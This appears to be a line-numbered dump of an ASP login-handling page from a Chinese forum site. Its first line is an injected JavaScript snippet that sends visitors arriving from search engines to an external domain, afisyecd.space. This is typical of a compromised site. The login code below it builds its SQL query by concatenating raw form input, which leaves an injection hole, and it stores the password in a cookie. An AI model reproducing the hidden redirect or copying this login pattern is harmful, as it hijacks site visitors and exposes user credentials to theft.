d:\wwwroot\wuchunhua\cookies\chuli.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp" -->
002:
<%
003:
bbsuser=trim(request.form("UserName"))
004:
password=request.form("Pass")
005:
str="select * from user where clubuser_name='"&bbsuser&"' and clubuser_password='"&password&"'"
006:
set rs=server.createobject("adodb.recordset")
007:
rs.open str,conn,3,1
008:
if rs.eof then
009:
response.write "<script language='javascript'>"
010:
response.write "alert('用户名或密码错误,请重新登录!返回上一页');"
011:
response.write "history.go(-1);"
012:
response.write "</script>"
013:
response.end
014:
else
015:
Response.cookies("bbsuser")=rs("clubuser_name")
016:
Response.cookies("pass")=rs("clubuser_password")
017:
response.write"<SCRIPT language=JavaScript>alert('你好,你已经登录成功。写进信息文件xinxi.asp');"
018:
response.write"this.location.href='xinxi.asp';</SCRIPT>"
019:
response.write";</SCRIPT>"
020:
end if
021:
%
>
022:
<%
023:
conn.close
024:
%
>
025:
026:
027: